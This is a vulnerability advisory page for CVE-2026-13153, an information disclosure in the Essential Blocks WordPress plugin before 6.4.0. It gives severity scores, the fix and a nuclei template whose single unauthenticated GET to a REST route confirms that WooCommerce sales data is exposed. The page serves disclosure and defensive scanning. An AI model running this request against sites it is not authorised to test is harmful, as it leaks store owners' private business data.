Essential Blocks < 6.4.0 - Information Disclosure

mediumseverity

7.5CVSS score

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

Gutenberg Essential Blocks WordPress plugin < 6.4.0 contains an information disclosure caused by unrestricted access to a public REST route exposing non-public WooCommerce sales metrics, letting unauthenticated users read product sales data.

Impact

Unauthenticated users can access sensitive sales metrics, potentially exposing business-sensitive information.

Fix

Update to version 6.4.0 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-json/essential-blocks/v1/products?per_page=20
Positive when: contains "\"sold_count\":" and "\"title\"" AND status 200

Run it with nuclei: nuclei -id CVE-2026-13153 -u <target>

The full check

id: CVE-2026-13153

info:
  name: Essential Blocks < 6.4.0 - Information Disclosure
  author: str4k3r
  severity: medium
  description: |
    Gutenberg Essential Blocks WordPress plugin < 6.4.0 contains an information disclosure caused by unrestricted access to a public REST route exposing non-public WooCommerce sales metrics, letting unauthenticated users read product sales data.
  impact: |
    Unauthenticated users can access sensitive sales metrics, potentially exposing business-sensitive information.
  remediation: |
    Update to version 6.4.0 or later.
  reference:
    - https://wpscan.com/vulnerability/0401a229-9630-49ab-ae4b-53360cf5d109/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-13153
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-13153
    epss-score: 0.01524
    epss-percentile: 0.74856
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp-plugin,essential-blocks,woocommerce,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/essential-blocks/v1/products?per_page=20"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"sold_count":'
          - '"title"'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from